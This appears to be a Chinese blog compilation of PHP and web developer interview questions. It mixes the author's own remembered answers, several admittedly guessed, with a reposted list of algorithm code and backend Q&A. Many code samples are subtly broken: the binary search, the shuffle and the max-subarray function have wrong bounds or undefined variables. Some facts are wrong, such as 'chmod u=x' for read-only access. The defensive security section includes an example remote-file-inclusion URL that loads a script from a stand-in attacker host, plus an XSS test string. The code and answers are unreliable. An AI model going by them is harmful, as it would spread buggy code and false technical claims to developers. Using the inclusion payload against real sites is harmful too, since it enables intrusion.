对于每个引用,都有自己的引用计数,当引用计数归零或被标记清除时,js垃圾回收器会认为该引用可以回收了。

3、什么是闭包,跟原型链、作用域链有什么关联

答:闭包是指存在于一个作用域链分支的函数域内的函数,该函数可以向上逐级访问作用域链上的变量,直到找到为止。当闭包存在外部引用时,js会维持闭包自身以及所在函数作用域链的内存状态。

备注:这个是我自己瞎说的。

继续答:跟原型链没有什么关联,函数的原型(prototype)主要用于实现继承,原型链可用于追溯继承关系,与作用域链类似,都是向上逐级访问属性,直到被找到,原型链的顶层是null,可以理解为所有的object都继承至null,所以null的类型是object。

继续答:作用域链可以看作是一个树形结构,由根节点window向下扩散,下层节点可以访问上层节点,但是上层节点无法访问下层节点,产生闭包的函数作用域属于节点中的一个,向下扩散后闭包函数产生叶子节点,叶子节点之间可以互相访问,当访问的变量在叶子节点中无法找到时,向上层节点查找,直到被找到为止,这个概念有点类似原型链上的属性查找。

4、一台电脑配置无限好,可以同时打开多少个网页

答:65535-1000 = 64535(端口数)

5、ip地址能被伪造吗?

答:http头部可以被篡改,但是只能修改X_FORWARDED_FOR,真实ip地址(REMOTE_ADDR)很难修改(除非是路由器去修改),因为真实ip是底层会话ip地址,而且因为TCP 3次握手的存在,连接无法建立,伪造的意义不大,至于UDP的话,一般是内网才使用UDP通信。

6、有100万个奖品,每个人可以中奖3次,先到先得,怎么控制并发,不能发超,并保证完全的先到先得模式

答:百万奖品在打乱后预先insert到数据库,所有中奖操作,均只能update,不能insert。进来抽奖的用户使用memcahe原子加锁,实现抽奖次数自增,当抽奖次数到达3时,返回不中奖。

再问:预先插入需要很多资源,如果奖品数量上了1亿怎么办?

答:使用redis队列存储请求,跑守护进程异步发奖,产生的问题是用户无法实时看到中奖情况。

再问:这样肯定不行。

再答:使用全局内存加锁确保抽奖过程是单进程在跑,但是会面临大并发阻塞问题。

再问:内存比较宝贵,在不用内存加锁的情况下怎么办,并且如果碰到1亿奖池的情况,预先插入数据库肯定不好,怎么办?

答:设置奖品概率,分三张表,都使用innodb引擎,一张存中奖记录(预先插入一行),一张存奖品发放概况,一张存用户抽奖情况(uin唯一索引),大并发情况下,利用mysql的排他锁进行并发控制。流程如下:

begin

查询用户抽奖次数,加排他锁

对用户抽奖次数的更新/插入

锁行查询发放情况

获得抽奖结果(某些奖品发完之后,动态变更概率)

更新发放表

插入中奖记录

commit

再问:遇到脏读怎么办?

答:这方面不是很了解

再问:innodb的master线程在什么情况下fork其他子线程?

答:不知道

7、数据链路层的数据是怎么校验的,有哪些校验方式?

答:crc32,别的校验可能是取模校验奇偶数吧。

备注:答个crc校验就行了。

8、b+树的查询时间复杂度是多少,哈希表是多少,为什么数据库索引用b+树存储,而不是哈希表,数据库索引存储还有其他数据结构吗?

答:O(log(n)),O(1)

因为哈希表是散列的,在遇到`key`>’12’这种查找条件时,不起作用,并且空间复杂度较高。

备注:b+数根据层数决定时间复杂度,数据量多的情况下一般4-5层,然后用二分法查找页中的数据,时间复杂度远小于log(n)。

9、apache是怎么跟php通讯的,sapi是什么

答:使用sapi通讯,sapi是php封装的对外数据传递接口,通常有cgi/fastcgi/cli/apache2handler四种运行模式。

10、php的垃圾回收机制?

答:垃圾回收是指当php运行状态结束时,比如遇到了exit/die/致命错误/脚本运行结束时,php需要回收运行过程中创建的变量、资源的内存。

ZEND引擎维护了一个栈zval,每个创建的变量和资源都会压入这个栈中,每个压入的数组结构都类似:[refcount => int, is_ref => 0|1, value => union, type => string],变量被unset时,ref_count如果变成0,则被回收。

当遇到变量循环引用自身时,使用同步回收算法回收。

备注:PHP7已经重写了zal的结构体。

11、jquery的sizzle引擎工作原理

答:除了直到是DOM元素查找引擎之外,一无所知。

12、seajs的工作原理,如何解决重复加载库的问题,如何进行资源的同步加载

答:建立映射关系并缓存起来;资源并不能真正同步加载,只是返回一个回调。

13、memcache跟redis的区别

答:可存储数据结构不同;redis支持持久化存储。

14、md5逆向原理

答:先用字典查找,再尝试暴力破解。

再问:没有更好的方法了吗?

答:没有了。

备注:嗯,事实上也确实没有特别好的办法,只能使用TB级的海量特征库用数据库存起来,然再分片查找。

15、父类方法是protected,子类重构为private,会发生什么?

答:会发生fatal错误,因为继承的方法或属性只能维持或放大权限,不能缩小,比如protected重载为public是可行的。

16、一个网页从输入地址回车,到完整展示网页内容这段时间里,做了哪些工作,越详细越好。

答:

0、浏览器本地缓存匹配;

1、本地hosts映射对比;

2、本地dns缓存解析;

3、远程dns解析获得服务器ip地址;

4、浏览器发送tcp连接请求包(syn);

5、请求包经过传输层、网络层、数据链路层封装通过网卡到达路由器;

6、路由器转发数据包到所属运营商服务器;

7、运营商服务器通过寻址最短路径通过中继节点到达指定ip地址;

8、服务器端可能存在反向代理或者负载均衡,都是直接转发请求至上游服务器,当然也可以制定安全防御规则直接丢弃请求包;

9、上游服务器收到连接请求,在自身可用的情况下,返回(syn+ack);

10、浏览器校验ack,再次发送(syn+ack);

11、服务器校验ack切换连接状态至established,然后根据请求传输数据包;

12、当transform-encoding为chunked时,浏览器开始渲染页面;

13、四次挥手,连接关闭;

14、渲染数据完成。

备注:还有很多东西不懂,一些东西完全是自己瞎蒙的,因为时间原因,以后有时间详细画一下。

17、keep-alive的概念

答:长连接机制,表示keep-alive-timeout时间内,如果连接没有closed,再次传输数据不再需要三次握手了。

备注:这里也有很多疑问,需要好好捋一捋。

18、linux文件压缩操作命令,shell脚本等

备注:因为平时开发都是在windows环境,对linux了解不足,这一块几乎是0分。

公司2:

这个是被鄙视最惨的一家了,首先会有笔试,相对来说并不复杂,但是有些坑,很多已经忘记了。

印象深刻的是我说自己熟悉常用设计模式,然后让我画UML类图,我就懵逼了,所以在写简历的时候,最好是写自己非常熟悉的,如果只是一知半解,并没有必要放到简历中。

公司3:

这里仅列举几个问到的问题:

1、设计一个中继服务器,转发客户A->客户B的请求;

2、myisam跟innodb有什么区别;

3、php进程死锁产生的原因是什么?怎么自动排查与自动恢复?

4、有class A { public function b($a, $b, $c){}};

怎么使用[‘b’ => 2, ‘a’ => 1, ‘c’ => 3],对进行A::b进行调用,并顺利赋值?

5、php5.2->php7.1的各版本演进历史,新增特性等?

6、画一个tcp三次握手图

[转]三年PHP面试题

原文链接:https://juejin.im/entry/59b533746fb9a00a5e35ac17

算法

1.反转函数的实现

/**
* 反转数组
* @param array $arr
* @return array
*/
function reverse($arr)
{
$n = count($arr);

$left = 0;
$right = $n – 1;

while ($left < $right) {
$temp = $arr[$left];
$arr[$left++] = $arr[$right];
$arr[$right–] = $temp;
}

return $arr;
}
2.两个有序int集合是否有相同元素的最优算法

/**
* 寻找两个数组里相同的元素
* @param array $arr1
* @param array $arr2
* @return array
*/
function find_common($arr1, $arr2)
{
$common = array();
$i = $j = 0;
$count1 = count($arr1);
$count2 = count($arr2);
while ($i < $count1 && $j < $count2) {
if ($arr1[$i] < $arr2[$j]) { $i++; } elseif ($arr1[$i] > $arr2[$j]) {
$j++;
} else {
$common[] = $arr[$i];
$i++;
$j++;
}
}
return array_unique($common);
}
3.将一个数组中的元素随机(打乱)

/**
* 打乱数组
* @param array $arr
* @return array
*/
function custom_shuffle($arr)
{
$n = count($arr);
for ($i = 0; $i < $n; $i++) {
$rand_pos = mt_rand(0, $n);
if ($rand_pos != $i) {
$temp = $arr[$i];
$arr[$i] = $arr[$rand_pos];
$arr[$rand_pos] = $temp;
}
}
return $arr;
}
4.给一个有数字和字母的字符串,让连着的数字和字母对应

function number_alphabet($str)
{
$number = preg_split(‘/[a-z]+/’, $str, -1, PREG_SPLIT_NO_EMPTY);
$alphabet = preg_split(‘/\d+/’, $str, -1, PREG_SPLIT_NO_EMPTY);
$n = count($number);
for ($i = 0; $i < $count; $i++) {
echo $number[$i] . ‘:’ . $alphabet[$i] . ”;
}
}
$str = ‘1a3bb44a2ac’;
number_alphabet($str);//1:a 3:bb 44:a 2:ac
5.求n以内的质数(质数的定义:在大于1的自然数中,除了1和它本身意外,无法被其他自然数整除的数)

思路:

(质数筛选定理)n不能够被不大于根号n的任何质数整除,则n是一个质数
除了2的偶数都不是质数 代码如下:

/**
* 求n内的质数
* @param int $n
* @return array
*/
function get_prime($n)
{
$prime = array(2);//2为质数

for ($i = 3; $i <= $n; $i += 2) {//偶数不是质数,步长可以加大
$sqrt = intval(sqrt($i));//求根号n

for ($j = 3; $j <= $sqrt; $j += 2) {//i是奇数,当然不能被偶数整除,步长也可以加大。 if ($i % $j == 0) { break; } } if ($j > $sqrt) {
array_push($prime, $i);
}
}

return $prime;
}
print_r(getPrime(1000));

### 6.约瑟夫环问题
相关题目:一群猴子排成一圈,按1,2,…,n依次编号。然后从第1只开始数,数到第m只,把它踢出圈,从它后面再开始数, 再数到第m只,在把它踢出去…,如此不停的进行下去, 直到最后只剩下一只猴子为止,那只猴子就叫做大王。要求编程模拟此过程,输入m、n, 输出最后那个大王的编号。
“`php
/**
* 获取大王
* @param int $n
* @param int $m
* @return int
*/
function get_king_mokey($n, $m)
{
$arr = range(1, $n);

$i = 0;

while (count($arr) > 1) {
$i++;
$survice = array_shift($arr);

if ($i % $m != 0) {
array_push($arr, $survice);
}
}

return $arr[0];
}
7.如何快速寻找一个数组里最小的1000个数

思路:假设最前面的1000个数为最小的,算出这1000个数中最大的数,然后和第1001个数比较,如果这最大的数比这第1001个数大的话跳过,如果要比这第1001个数小则将两个数交换位置,并算出新的1000个数里面的最大数,再和下一个数比较,以此类推。
代码如下:

//寻找最小的k个数
//题目描述
//输入n个整数,输出其中最小的k个。
/**
* 获取最小的k个数
* @param array $arr
* @param int $k [description]
* @return array
*/
function get_min_array($arr, $k)
{
$n = count($arr);

$min_array = array();

for ($i = 0; $i < $n; $i++) {
if ($i < $k) {
$min_array[$i] = $arr[$i];
} else {
if ($i == $k) {
$max_pos = get_max_pos($min_array);
$max = $min_array[$max_pos];
}

if ($arr[$i] < $max) {
$min_array[$max_pos] = $arr[$i];

$max_pos = get_max_pos($min_array);
$max = $min_array[$max_pos];
}
}
}

return $min_array;
}

/**
* 获取最大的位置
* @param array $arr
* @return array
*/
function get_max_pos($arr)
{
$pos = 0;
for ($i = 1; $i < count($arr); $i++) {
if ($arr[$i] < $arr[$pos]) {
$pos = $i;
}
}

return $pos;
}

$array = [1, 100, 20, 22, 33, 44, 55, 66, 23, 79, 18, 20, 11, 9, 129, 399, 145, 2469, 58];

$min_array = get_min_array($array, 10);

print_r($min_array);
8.如何在有序的数组中找到一个数的位置(二分查找)

代码如下:

/**
* 二分查找
* @param array $array 数组
* @param int $n 数组数量
* @param int $value 要寻找的值
* @return int
*/
function binary_search($array, $n, $value)
{
$left = 0;
$right = $n – 1;

while ($left <= $right) { $mid = intval(($left + $right) / 2); if ($value > $mid) {
$right = $mid + 1;
} elseif ($value < $mid) { $left = $mid – 1; } else { return $mid; } } return -1; } 9.给定一个有序整数序列,找出绝对值最小的元素 思路:二分查找 /** * 获取绝对值最小的元素 * @param array $arr * @return int */ function get_min_abs_value($arr) { //如果符号相同,直接返回 if (is_same_sign($arr[0], $arr[$n – 1])) { return $arr[0] >= 0 ? $arr[0] : $arr[$n – 1];
}

//二分查找
$n = count($arr);
$left = 0;
$right = $n – 1;

while ($left <= $right) {
if ($left + 1 === $right) {
return abs($arr[$left]) < abs($arr[$right]) ? $arr[$left] : $arr[$right];
}

$mid = intval(($left + $right) / 2);

if ($arr[$mid] < 0) { $left = $mid + 1; } else { $right = $mid – 1; } } } /** * 判断符号是否相同 * @param int $a * @param int $b * @return boolean */ function is_same_sign($a, $b) { if ($a * $b > 0) {
return true;
} else {
return false;
}
}
10.找出有序数组中随机3个数和为0的所有情况

思路:动态规划

function three_sum($arr)
{
$n = count($arr);

$return = array();

for ($i=0; $i < $n; $i++) {
$left = $i + 1;
$right = $n – 1;

while ($left <= $right) {
$sum = $arr[$i] + $arr[$left] + $arr[$right];

if ($sum < 0) { $left++; } elseif ($sum > 0) {
$right–;
} else {
$numbers = $arr[$i] . ‘,’ . $arr[$left] . ‘,’ . $arr[$right];
if (!in_array($numbers, $return)) {
$return[] = $numbers;
}

$left++;
$right–;
}
}
}

return $return;
}

$arr = [-10, -9, -8, -4, -2, 0, 1, 2, 3, 4, 5, 6, 9];
var_dump(three_sum($arr));
11.编写一个PHP函数,求任意n个正负整数里面最大的连续和,要求算法时间复杂度尽可能低。

思路:动态规划

/**
* 获取最大的连续和
* @param array $arr
* @return int
*/
function max_sum_array($arr)
{
$currSum = 0;
$maxSum = 0;//数组元素全为负的情况,返回最大数

$n = count($arr);

for ($i = 0; $i < $n; $i++) { if ($currSum >= 0) {
$currSum += $arr[$j];
} else {
$currSum = $arr[$j];
}
}

if ($currSum > $maxSum) {
$maxSum = $currSum;
}

return $maxSum;
}
计算机网络

1.HTTP中GET与POST的区别,注意最后一条

GET在浏览器回退时是无害的,而POST会再次提交请求。
GET产生的URL地址可以被Bookmark,而POST不可以。
GET请求会被浏览器主动cache,而POST不会,除非手动设置。
GET请求只能进行url编码,而POST支持多种编码方式。
GET请求参数会被完整保留在浏览器历史记录里,而POST中的参数不会被保留。
GET请求在URL中传送的参数是有长度限制的,而POST么有。
对参数的数据类型,GET只接受ASCII字符,而POST没有限制。
GET比POST更不安全,因为参数直接暴露在URL上,所以不能用来传递敏感信息。
GET参数通过URL传递,POST放在Request body中。
GET产生一个TCP数据包,POST产生两个TCP数据包。
2.为什么Tcp连接是三次,挥手是四次

在Tcp连接中,服务端的SYN和ACK向客户端发送是一次性发送的,而在断开连接的过程中,B端向A端发送的ACK和FIN是分两次发送的。因为在B端接收到A端的FIN后,B端可能还有数据要传输,所以先发送ACK,等B端处理完自己的事情后就可以发送FIN断开连接了。

3.Cookie存在哪

如果设置了过期时间,Cookie存在硬盘里
没有设置过期时间,Cookie存在内存里
4.COOKIE和SESSION的区别和关系

COOKIE保存在客户端,而SESSION则保存在服务器端
从安全性来讲,SESSION的安全性更高
从保存内容的类型的角度来讲,COOKIE只保存字符串(及能够自动转换成字符串)
从保存内容的大小来看,COOKIE保存的内容是有限的,比较小,而SESSION基本上没有这个限制
从性能的角度来讲,用SESSION的话,对服务器的压力会更大一些
SEEION依赖于COOKIE,但如果禁用COOKIE,也可以通过url传递
Linux

1.如何修改文件为当前用户只读

chmod u=x 文件名

2.Linux进程属性

进程:是用pid表示,它的数值是唯一的
父进程:用ppid表示
启动进程的用户:用UID表示
启动进程的用户所属的组:用GID表示
进程的状态:运行R,就绪W,休眠S,僵尸Z
3.统计某一天网站的访问量

awk ‘{print $1}’ /var/log/access.log | sort | uniq | wc -l
推荐篇文章,讲awk实际使用的shell在手分析服务器日志不愁

Nginx

1.fastcgi通过端口监听和通过文件监听的区别

监听方式 形式 nginx链接fastcgi方式
端口监听 fastcgi_pass 127.0.0.1:9000 TCP链接
文件监听 fastcgi_pass /tmp/php_cgi.sock Unix domain Socket
2.nginx的负载均衡实现方式

轮询
用户IP哈希
指定权重
fair(第三方)
url_hash(第三方)
Memcache/Redis

1.Redis主从是怎样同步数据的?(即复制功能)

无论是初次连接还是重新连接,当建立一个从服务器时,从服务器都将从主服务器发送一个SYNC命令。接到SYNC命令的主服务器将开始执行BGSAVE,并在保存操作执行期间,将所有新执行的命令都保存到一个缓冲区里面,当BGSAVE执行完毕后,主服务器将执行保存操作所得到的.rdb文件发送给从服务器,从服务器接收这个.rdb文件,并将文件中的数据载入到内存中。之后主服务器会以Redis命令协议的格式,将写命令缓冲区中积累的所有内容都发送给从服务器。

2.Memcache缓存命中率

缓存命中率 = get_hits/cmd_get * 100%

3.Memcache集群实现

一致性Hash

4.Memcache与Redis的区别

Memcache
该产品本身特别是数据在内存里边的存储,如果服务器突然断电,则全部数据就会丢失
单个key(变量)存放的数据有1M的限制
存储数据的类型都是String字符串类型
本身没有持久化功能
可以使用多核(多线程)
Redis
数据类型比较丰富:String、List、Set、Sortedset、Hash
有持久化功能,可以把数据随时存储在磁盘上
本身有一定的计算功能
单个key(变量)存放的数据有1GB的限制
MySQL

1.执行SQL语句:select count(*) from articles 时,MySIAM和InnoDB哪个快

MySIAM快,因为MySIAM本身就记录了数量,而InnoDB要扫描数据

3.隐式转换

当查询字段是INT类型,如果查询条件为CHAR,将查询条件转换为INT,如果是字符串前导都是数字将会进行截取,如果不是转换为0。
当查询字段是CHAR/VARCHAR类型,如果查询条件为INT,将查询字段为换为INT再进行比较,可能会造成全表扫描
2.最左前缀原则

有一个复合索引:INDEX(`a`, `b`, `c`)

使用方式 能否用上索引
select * from users where a = 1 and b = 2 能用上a、b
select * from users where b = 2 and a = 1 能用上a、b(有MySQL查询优化器)
select * from users where a = 2 and c = 1 能用上a
select * from users where b = 2 and c = 1 不能
3.聚簇索引和非聚簇索引的区别

聚簇索引的叶节点就是数据节点,而非聚簇索引的页节点仍然是索引检点,并保留一个链接指向对应数据块。

PHP

1.Session可不可以设置失效时间,比如30分钟过期

设置seesion.cookie_lifetime有30分钟,并设置session.gc_maxlifetime为30分钟
自己为每一个Session值增加timestamp
每次访问之前, 判断时间戳
2.PHP进程间通信的几种方式

消息队列
信号量+共享内存
信号
管道
socket
3.php类的静态调用和实例化调用各自的利弊

静态方法是类中的一个成员方法,属于整个类,即使不用创建任何对象也可以直接调用!静态方法效率上要比实例化高,静态方法的缺点是不自动销毁,而实例化的则可以做销毁。

4.类的数组方式调用

ArrayAccess(数组式访问)接口

5.用php写一个函数,获取一个文本文件最后n行内容,要求尽可能效率高,并可以跨平台使用。

function tail($file, $num)
{
$fp = fopen($file,”r”);
$pos = -2;
$eof = “”;
$head = false; //当总行数小于Num时,判断是否到第一行了
$lines = array();
while ($num > 0) {
while($eof != PHP_EOL){
if (fseek($fp, $pos, SEEK_END) == 0) { //fseek成功返回0,失败返回-1
$eof = fgetc($fp);
$pos–;
} else { //当到达第一行,行首时,设置$pos失败
fseek($fp, 0, SEEK_SET);
$head = true; //到达文件头部,开关打开
break;
}
}
array_unshift($lines, str_replace(PHP_EOL, ”, fgets($fp)));
if ($head) {//这一句,只能放上一句后,因为到文件头后,把第一行读取出来再跳出整个循环
break;
}
$eof = “”;
$num–;
}
fclose($fp);
return $lines;
}
6.$SERVER[‘SERVER_NAME’]和$SERVER[‘HTTP_HOST’]的区别

相同点: 当满足以下三个条件时,两者会输出相同信息。

服务器为80端口
apache的conf中ServerName设置正确
HTTP/1.1协议规范
不同点:

通常情况: $_SERVER[“HTTP_HOST”] 在HTTP/1.1协议规范下,会根据客户端的HTTP请求输出信息。 $_SERVER[“SERVER_NAME”] 默认情况下直接输出apache的配置文件httpd.conf中的ServerName值。
当服务器为非80端口时: $_SERVER[“HTTP_HOST”] 会输出端口号,例如:coffeephp.com:8080 $_SERVER[“SERVER_NAME”] 会直接输出ServerName值 因此在这种情况下,可以理解为:$_SERVER[‘HTTP_HOST’] = $_SERVER[‘SERVER_NAME’] : $_SERVER[‘SERVER_PORT’]
当配置文件httpd.conf中的ServerName与HTTP/1.0请求的域名不一致时: httpd.conf配置如下:

ServerName jsyzchen.com
ServerAlias blog.jsyzchen.com

客户端访问域名 blog.jsyzchen.com $_SERVER[“HTTP_HOST”] 输出 blog.jsyzchen.com $_SERVER[“SERVER_NAME”] 输出jsyzchen.com

7.打开php.ini的safe_mode会影响哪些参数

当safe_mode=On时,会出现下面限制:

所有输入输出函数(例如fopen()、file()和require())的适用会受到限制,只能用于与调用这些函数的脚本有相同拥有者的文件。例如,假定启用了安全模式,如果Mary拥有的脚本调用fopen(),尝试打开由Jonhn拥有的一个文件,则将失败。但是,如果Mary不仅拥有调用 fopen()的脚本,还拥有fopen()所调用的文件,就会成功。
如果试图通过函数popen()、system()或exec()等执行脚本,只有当脚本位于safe_mode_exec_dir配置指令指定的目录才可能。
HTTP验证得到进一步加强,因为验证脚本用于者的UID划入验证领域范围内。此外,当启用安全模式时,不会设置PHP_AUTH。
如果适用MySQL数据库服务器,链接MySQL服务器所用的用户名必须与调用mysql_connect()的文件拥有者用户名相同。
详细的解释可以查看官网:www.php.net/manual/zh/i… php safe_mode影响参数
函数名 限制
dbmopen() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
dbase_open() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
filepro() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
filepro_rowcount() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
filepro_retrieve() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
ifx_* sql_safe_mode 限制, (!= safe mode)
ingres_* sql_safe_mode 限制, (!= safe mode)
mysql_* sql_safe_mode 限制, (!= safe mode)
pg_loimport() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
posix_mkfifo() 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
putenv() 遵循 ini 设置的 safe_mode_protected_env_vars 和 safe_mode_allowed_env_vars 选项。请参考 putenv() 函数的有关文档。
move_uploaded_file() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
chdir() 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
dl() 本函数在安全模式下被禁用。
backtick operator 本函数在安全模式下被禁用。
shell_exec() (在功能上和 backticks 函数相同) 本函数在安全模式下被禁用。
exec() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。
system() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。
passthru() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。
popen() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。
fopen() 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
mkdir() 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
rmdir() 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
rename() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
unlink() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
copy() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (on source and target )
chgrp() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
chown() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
chmod() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 另外,不能设置 SUID、SGID 和 sticky bits
touch() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
symlink() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (注意:仅测试 target)
link() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (注意:仅测试 target)
apache_request_headers() 在安全模式下,以“authorization”(区分大小写)开头的标头将不会被返回。
header() 在安全模式下,如果设置了 WWW-Authenticate,当前脚本的 uid 将被添加到该标头的 realm 部分。
PHP_AUTH 变量 在安全模式下,变量 PHP_AUTH_USER、PHP_AUTH_PW 和 PHP_AUTH_TYPE 在 $_SERVER 中不可用。但无论如何,您仍然可以使用 REMOTE_USER 来获取用户名称(USER)。(注意:仅 PHP 4.3.0 以后有效)
highlight_file(), show_source() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (注意,仅在 4.2.1 版本后有效)
parse_ini_file() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (注意,仅在 4.2.1 版本后有效)
set_time_limit() 在安全模式下不起作用。
max_execution_time 在安全模式下不起作用。
mail() 在安全模式下,第五个参数被屏蔽。
8.PHP解决多进程同时写一个文件的问题

function write($str)
{
$fp = fopen($file, ‘a’);
do {
usleep(100);
} while (!flock($fp, LOCK_EX));
fwrite($fp, $str . PHP_EOL);
flock($fp, LOCK_UN);
fclose($fp);
}
9.PHP里的超全局变量

$GLOBALS
$_SERVER
$_GET
$_POST
$_FILES
$_COOKIE
$_SESSION
$_REQUEST
$_ENV
10.php7新特性

?? 运算符(NULL 合并运算符)
函数返回值类型声明
标量类型声明
use 批量声明
define 可以定义常量数组
闭包( Closure)增加了一个 call 方法 详细的可以见官网:php7-new-features
11.php7卓越性能背后的优化

减少内存分配次数
多使用栈内存
缓存数组的hash值
字符串解析成桉树改为宏展开
使用大块连续内存代替小块破碎内存 详细的可以参考鸟哥的PPT:PHP7性能之源
12.include($_GET[‘p’])的安全隐患

现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?p=anyfile.txt 来获取你的机密信息,或执行一个PHP脚本。 如果allow_url_fopen=On,你更是死定了: 试试这个输入:http://www.yourdomain.com/index.php?p=http://youaredoomed.com/phphack.php 现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。

13.列出一些防范SQL注入、XSS攻击、CSRF攻击的方法

SQL注入:

addslashes函数
mysql_real_escape_string/mysqli_real_escape_string/PDO::quote()
PDO预处理 XSS:htmlspecial函数 CSRF:
验证HTTP REFER
使用toke进行验证
14.接口如何安全访问

jwt或验证签名

15.PHP里有哪些设计模式

单例模式
工厂模式
脸面模式(facade)
注册器模式
策略模式
原型模式
装饰器模式 更多的可以看PHP设计模式简介这篇文章
16.验证ip是否正确

function check_ip($ip)
{
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
return false;
} else {
return true;
}
}
17.验证日期是否合理

function check_datetime($datetime)
{
if (date(‘Y-m-d H:i:s’, strtotime($datetime)) === $datetime) {
return true;
} else {
return false;
}
}
18.写一个正则表达式,过滤JS脚本(及把script标记及其内容都去掉)

$text = '<script>// <![CDATA[
alert('XSS')
// ]]></script>';
$pattern = '&lt;script.*&gt;.*&lt;\/script&gt;/i';
$text = preg_replace($pattern, '', $text);

19.下单后30分钟未支付取消订单

第一种方案:被动过期+cron,就是用户查看的时候去数据库查有没有支付+定时清理。 第二种方案:延迟性任务,到时间检查订单是否支付成功,如果没有支付则取消订单

20.设计一个秒杀系统

思路:用redis的队列

$redis_key = ‘seckill’;//记录中奖记录
$uid = $GET[‘uid’];
$count = 10;//奖品的数量
if ($redis->lLen($redis_key) < 10) { $redis->rPush($redis_key, $uid . ‘_’ . microtime());
echo “秒杀成功”;
} else {
echo “秒杀已结束”;
}
21.请设计一个实现方式,可以给某个ip找到对应的省和市,要求效率竟可能的高

//ip2long,把所有城市的最小和最大Ip录进去
$redis_key = ‘ip’;
$redis->zAdd($redis_key, 20, ‘#bj’);//北京的最小IP加#
$resid->zAdd($redis_key, 30, ‘bj’);//最大IP

function get_ip_city($ip_address)
{
$ip = ip2long($ip_address);

$redis_key = ‘ip’;
$city = zRangeByScore($redis_key, $ip, ‘+inf’, array(‘limit’ => array(0, 1)));
if ($city) {
if (strpos($city[0], “#”) === 0) {
echo ‘城市不存在!’;
} else {
echo ‘城市是’ . $city[0];
}
} else {
echo ‘城市不存在!’;
}
}
其他

1.网页/应用访问慢突然变慢,如何定位问题

top、iostat查看cpu、内存及io占用情况
内核、程序参数设置不合理 查看有没有报内核错误,连接数用户打开文件数这些有没有达到上限等等
链路本身慢 是否跨运营商、用户上下行带宽不够、dns解析慢、服务器内网广播风暴什么的
程序设计不合理 是否程序本身算法设计太差,数据库语句太过复杂或者刚上线了什么功能引起的
其它关联的程序引起的 如果要访问数据库,检查一下是否数据库访问慢
是否被攻击了 查看服务器是否被DDos了等等
硬件故障 这个一般直接服务器就挂了,而不是访问慢
2.如何设计/优化一个访问量比较大的博客/论坛

减少http请求(比如使用雪碧图)
优化数据库(范式、SQL语句、索引、配置、读写分离)
缓存使用(Memcache、Redis)
负载均衡
动态内容静态化+CDN
禁止外部盗链(refer、图片添加水印)
控制大文件下载
使用集群
3.如何搭建Composer私有库

使用satis搭建
相关文章介绍:使用satis搭建Composer私有库